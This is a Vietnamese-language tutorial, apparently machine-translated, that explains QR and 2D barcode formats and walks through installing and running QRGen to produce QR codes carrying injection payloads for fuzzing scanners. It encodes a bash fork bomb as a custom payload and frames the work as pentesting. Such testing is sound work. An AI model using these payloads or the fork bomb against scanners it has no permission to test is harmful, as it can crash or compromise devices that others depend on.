Mã QR có ở khắp mọi nơi, từ bao bì sản phẩm đến thẻ lên máy bay của hãng hàng không, làm cho các máy quét đọc chúng trở thành mục tiêu ngon ngọt cho tin tặc. Nhờ các lỗ hổng trong nhiều thiết bị quét độc quyền này, có thể khai thác các lỗ hổng phổ biến bằng cách sử dụng các khai thác được đóng gói vào mã QR tùy chỉnh.

Một công cụ có tên QRGen có thể tạo mã QR độc hại và thậm chí mã hóa các tải trọng tùy chỉnh. Các cuộc tấn công này rất hữu ích vì con người không thể đọc hoặc hiểu thông tin có trong mã QR mà không quét nó, có khả năng làm lộ bất kỳ thiết bị nào được sử dụng để cố gắng giải mã mã cho khai thác có trong đó. Ngay cả các máy quét mã QR như điện thoại thông minh cũng có thể dễ bị tấn công bởi các loại tấn công này, vì mã QR được phát hiện có khả năng thu hút người dùng iPhone vào các trang web độc hại .

Mã QR là gì?

Mã QR là các định dạng dữ liệu có thể đọc bằng máy, hữu ích cho mọi thứ cần được quét tự động. Trước mã QR, có một số định dạng khác được gọi là mã vạch tuyến tính, cũng lưu trữ dữ liệu theo cách dễ dàng cho máy đọc. Bạn có thể đã nhìn thấy một mã vạch UPC như mã dưới đây trên các sản phẩm, vì nó thường được sử dụng để xác định các mặt hàng để bán để nhân viên thu ngân có thể quét chúng để cho phép thanh toán nhanh hơn.

Mã vạch UPC, hoặc Mã sản phẩm phổ quát, đã được sử dụng từ năm 1974. Mục đích của nó chủ yếu là bán lẻ và chỉ mã hóa một loạt các số, khiến nó bị hạn chế trong ứng dụng. Trong khi có nhiều loại mã vạch tuyến tính khác nhau tồn tại, chúng không thể lưu trữ nhiều thông tin. Các ứng dụng như vận chuyển và sản xuất ô tô đòi hỏi một tiêu chuẩn sẽ chứa nhiều dữ liệu hơn.

Mã vạch 2D cho nhiều dữ liệu hơn

Câu trả lời cho giới hạn của mã vạch tuyến tính là mã vạch 2D, cung cấp khả năng chống lưu trữ nhiều hơn để có thiệt hại vật lý ảnh hưởng đến thông tin chứa trong đó. Một số mã 2D đầu tiên trông giống như mã bên dưới, ngày nay vẫn được sử dụng rộng rãi.

Mã Aztec là mã 2D, hoặc ma trận, có thể đọc bằng máy, tương tự như nhiều cách với mã QR và có thể chứa nhiều thông tin hơn mã vạch tuyến tính. Ban đầu được phát triển cho hậu cần, bạn có thể thấy nó được sử dụng trên các gói và phong bì khi cần lưu trữ nhiều dữ liệu hơn mã vạch tuyến tính.

Các loại mã vạch 2D khác có thể chứa một lượng dữ liệu cực kỳ dày đặc. Ví dụ, định dạng PDF417 được tìm thấy ở mặt sau của hầu hết các giấy phép trình điều khiển ở Hoa Kỳ, có thể mã hóa tới 1800 ký tự ASCII.

Các mã PDF417 như trên có thể mã hóa văn bản, số, tệp và byte dữ liệu thực tế và chúng có khả năng chống lỗi cao hơn mã vạch tuyến tính. Các công ty như FedEx sử dụng kết hợp PDF417 và các mã vạch khác trên phiếu đóng gói để tự động hóa việc giao hàng và theo dõi.

Mã có thể làm gì với nhiều dữ liệu hơn?

Mã QR bắt đầu trong ngành công nghiệp ô tô như một cách để theo dõi xe ô tô khi chúng được sản xuất nhưng nhanh chóng trở nên phổ biến bên ngoài ngành công nghiệp đó. Tương tự như các mã 2D khác, mã QR có thể đóng gói một tấn dữ liệu và thậm chí có thể hoạt động khi giảm độ phân giải hoặc bị hỏng.

Một mã QR duy nhất có thể chứa 4.296 ký tự ASCII, điều này giúp bạn có thể sáng tạo hơn rất nhiều về những gì bạn có thể làm với chúng. Bạn thậm chí có thể định dạng dữ liệu để kích hoạt các hành động khi một thiết bị đọc nhận ra nó.

Một ứng dụng hấp dẫn của mã QR được kích hoạt bởi dung lượng dữ liệu lớn hơn của họ là sử dụng chúng để quản lý các kết nối Wi-Fi mà không chia sẻ mật khẩu bằng văn bản thuần túy. Bằng cách mã hóa chuỗi sau, bạn có thể tạo mã QR ghi nhật ký người dùng Android vào mạng Wi-Fi.

WIFI:S:<SSID>;T:<WPA|WEP|>;P:<password>;H:<true|false|>;

Bất cứ ai quét mã QR trên thiết bị Android đều sẽ tự động đăng nhập vào mạng Wi-Fi được mã hóa. Để biết cách xử lý số lượng mã QR có thể đóng gói, hãy xem mã này:

Mã nhỏ đó chứa văn bản sau:

Version 40 QR Code can contain up to 1852 chars.
A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) that is designed to be read by smartphones.
The code consists of black modules arranged in a square pattern on a white background. The information encoded may be text, a URL, or other data.
Created by Toyota subsidiary Denso Wave in 1994, the QR code is one of the most popular types of two-dimensional barcodes.
The QR code was designed to allow its contents to be decoded at high speed.
The technology has seen frequent use in Japan and South Korea; the United Kingdom is the seventh-largest national consumer of QR codes.
Although initially used for tracking parts in vehicle manufacturing, QR codes now are used in a much broader context,
including both commercial tracking applications and convenience-oriented applications aimed at mobile phone users (termed mobile tagging).
QR codes may be used to display text to the user, to add a vCard contact to the user's device, to open a Uniform Resource Identifier (URI), or to compose an e-mail or text message.
Users can generate and print their own QR codes for others to scan and use by visiting one of several paid and free QR code generating sites or apps.

Văn bản chứa trong hình ảnh lớn hơn chính mã QR! Khả năng này làm cho mã QR trở nên mạnh mẽ và nguy hiểm vì con người không thể hiểu dữ liệu bên trong chúng mà không quét chúng trước.

QRgen cho hack mã QR

Bởi vì con người không thể phát hiện ra mã QR độc hại trước khi thực sự quét nó, tải trọng tương đối lớn của mã QR có thể hoạt động theo lợi thế của hacker, đặc biệt là khi kết hợp với các thiết bị dễ bị tấn công. Công cụ chúng ta sẽ sử dụng ngày hôm nay để tạo ra chúng được gọi là QRGen. Nó sẽ lấy một tải trọng và mã hóa nó thành mã QR bằng Python.

QRGen đi kèm với một thư viện tích hợp có chứa nhiều khai thác phổ biến, cực kỳ hữu ích nếu bạn có thời gian ngồi xuống với cùng một thiết bị mà bạn đang tìm cách khai thác và tìm ra cái nào hoạt động. Đối với một pentester đang tìm cách kiểm tra bất cứ thứ gì sử dụng máy quét mã QR, chỉ cần mua cùng một máy quét và chạy qua các khai thác có thể khiến bạn khiến máy quét hoạt động theo những cách không ngờ tới.

Có thể truy cập các loại tải trọng có sẵn trên QRGen bằng cách sử dụng cờ -l và một số trong khi chạy tập lệnh. Số lượng và loại tải trọng được liệt kê dưới đây.

0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Để tạo ra một loạt các mã QR độc hại bao gồm các tải trọng xâu chuỗi, tôi chỉ cần chạy QRGen.py -l 5 để tạo nhiều mã để thử nghiệm.

Những gì bạn cần

Để sử dụng QRGen, bạn sẽ cần cài đặt Python3. Bởi vì nó đa nền tảng, nên có thể thực hiện trên mọi hệ điều hành. Bạn cũng sẽ cần một vài thư viện Python, bao gồm qrcode, Gối và argparse, chúng tôi sẽ cài đặt trong quá trình thiết lập.

Bước 1 Cài đặt QRGen

Để bắt đầu với QRGen, chúng tôi sẽ cần tải xuống kho lưu trữ từ GitHub . Chúng tôi sẽ làm điều đó bằng cách chạy lệnh dưới đây trong một cửa sổ đầu cuối.

~$ git clone https://github.com/h0nus/QRGen

Cloning into 'QRGen'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (86/86), done.
remote: Compressing objects: 100% (78/78), done.
remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0
Unpacking objects: 100% (86/86), done.

Khi repo hoàn tất tải xuống, thay đổi ( cd ) vào thư mục và liệt kê ( ls ) nội dung của nó để tìm tệp yêu cầu.

~$ cd QRGen
~/QRGen$ ls

demo.gif  qrgen.py  README.md  requirements.txt  words

Bây giờ, bạn sẽ cần đảm bảo rằng chúng tôi đã cài đặt tất cả các thư viện cần thiết. Để làm như vậy, chúng tôi sẽ chạy tệp cài đặt bằng lệnh sau.

~/QRGen$ pip3 install -r requirements.txt

Collecting qrcode (from -r requirements.txt (line 1))
  Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl
Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1)
Collecting argparse (from -r requirements.txt (line 3))
  Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl
Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0)
Installing collected packages: qrcode, argparse
Successfully installed argparse-1.4.0 qrcode-6.1

Nếu điều đó không làm việc, bạn cũng có thể cài đặt nó bằng lệnh thay thế này.

~/QRGen$ python3 -m pip install -r requirements.txt

Bước 2 Tạo mã QR độc hại từ loại tải trọng

Bây giờ, bạn sẽ có thể chạy tập lệnh bằng cách nhập python3 qrgen.py .

~/QRGen$ python3 qrgen.py

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

usage: qrgen.py -l [number]
usage: qrgen.py -w [/path/to/custom/wordlist]

Payload lists:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader

optional arguments:
  -h, --help            show this help message and exit

Options for QRGen:
  --list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7}
                        Set wordlist to use
  --wordlist WORDLIST, -w WORDLIST
                        Use a custom wordlist

Pay attention everywhere, even in the dumbest spot

Như bạn có thể thấy, thật đơn giản để tạo tải trọng. Để bắt đầu, hãy tạo một tải trọng chứa các tải trọng chuỗi định dạng. Để làm như vậy, hãy chạy QRGen với đối số sau đây.

~/QRGen$ python3 qrgen.py -l 5

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path generated..
Path already cleared or deleted..
Generated 46 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

Một loạt mã QR sẽ được tạo và mã cuối cùng được tạo sẽ tự động mở.

Để xem phần còn lại của tải trọng của bạn, bạn có thể nhập cd genqr để thay đổi thư mục nơi chúng được tạo và ls nội dung của nó.

~/QRGen$ cd genqr
~/QRGen/genqr$ ls

payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png
payload-18.png  payload-27.png  payload-36.png  payload-45.png

Bước 3 Mã hóa tải trọng tùy chỉnh

Để mã hóa một tải trọng tùy chỉnh, trước tiên chúng ta có thể tạo một tệp văn bản chứa những gì chúng ta muốn mã hóa. Mỗi dòng sẽ là một tải trọng mới. Đầu tiên, chúng ta có thể tạo một tệp văn bản tiếp theo bằng cách nhập nano bad ware.txt để tạo tệp văn bản.

~/QRGen/genqr$ nano badstuff.txt

Trong tệp văn bản đó, chúng tôi có thể đặt tải trọng của chúng tôi. Cái bên dưới là một quả bom ngã ba. Nó sẽ hoạt động trên một máy quét mã QR? Ai biết.

:(){ :|: & };:

Chúng tôi có thể lưu nó bằng cách nhấn Control X , sau đó nhấn Y và Enter để xác nhận lưu của bạn. Bây giờ, bạn sẽ thấy một tệp văn bản chứa tải trọng của bạn.

~/QRGen/genqr$ ls

badstuff.txt    payload-18.png  payload-27.png  payload-36.png  payload-45.png
payload-0.png   payload-19.png  payload-28.png  payload-37.png  payload-4.png
payload-10.png  payload-1.png   payload-29.png  payload-38.png  payload-5.png
payload-11.png  payload-20.png  payload-2.png   payload-39.png  payload-6.png
payload-12.png  payload-21.png  payload-30.png  payload-3.png   payload-7.png
payload-13.png  payload-22.png  payload-31.png  payload-40.png  payload-8.png
payload-14.png  payload-23.png  payload-32.png  payload-41.png  payload-9.png
payload-15.png  payload-24.png  payload-33.png  payload-42.png
payload-16.png  payload-25.png  payload-34.png  payload-43.png
payload-17.png  payload-26.png  payload-35.png  payload-44.png

Để ghi tải trọng của bạn vào mã QR, chúng tôi sẽ sử dụng cờ -w . Giả sử tệp tải trọng của bạn được gọi là “bad ware.txt”, lệnh để làm như vậy sẽ giống như bên dưới (hãy nhớ thay đổi lại thư mục QRGen trước đó).

~/QRGen/genqr$ cd ..
~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt'

  e88 88e   888 88e    e88'Y88
 d888 888b  888 888D  d888  'Y   ,e e,  888 8e
C8888 8888D 888 88"  C8888 eeee d88 88b 888 88b
 Y888 888P  888 b,    Y888 888P 888   , 888 888
  "88 88"   888 88b,   "88 88"   "YeeP" 888 888
      b
      8b,    QRGen ~ v0.1 ~ by h0nus

Payload path exist, continuing...
Path already cleared or deleted..
Generated 1 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..

Đối với tải trọng bom ngã ba của tôi, nó tạo mã QR bên dưới, sẽ bật lên.

Không phải tất cả các mã QR đều khôn ngoan để quét

Mã QR có thể mã hóa rất nhiều thông tin và như chúng ta đã biết ngày nay, chúng thậm chí có thể được định dạng để khiến thiết bị thực hiện các hành động như kết nối với mạng Wi-Fi. Điều đó làm cho việc quét mã QR trở nên rủi ro, vì một người không có cách nào đọc thông tin trước khi để thiết bị của bạn tiếp xúc với bất kỳ trọng tải nào được chứa bên trong. Nếu bạn quét mã QR có vẻ đáng ngờ, hãy chú ý đến những gì mã đang cố khởi chạy và không kết nối với mạng Wi-Fi hoặc điều hướng đến một liên kết được rút ngắn.

Mặc dù hầu hết các mã QR phải an toàn để quét trên điện thoại thông minh, nhưng việc quét các tải trọng mà chúng tôi đã tạo ngày hôm nay trên thiết bị để quét vé hoặc thẻ lên máy bay có thể dẫn đến một số hành vi kỳ quái từ thiết bị.Không quét tải trọng trên máy quét mà bạn cần làm việc ngay sau khi có sự kiện hoặc công việc – hoặc bất kỳ máy quét nào bạn không có quyền kiểm tra – vì một số tải trọng này có thể khiến máy quét ngừng hoạt động.

Trả lời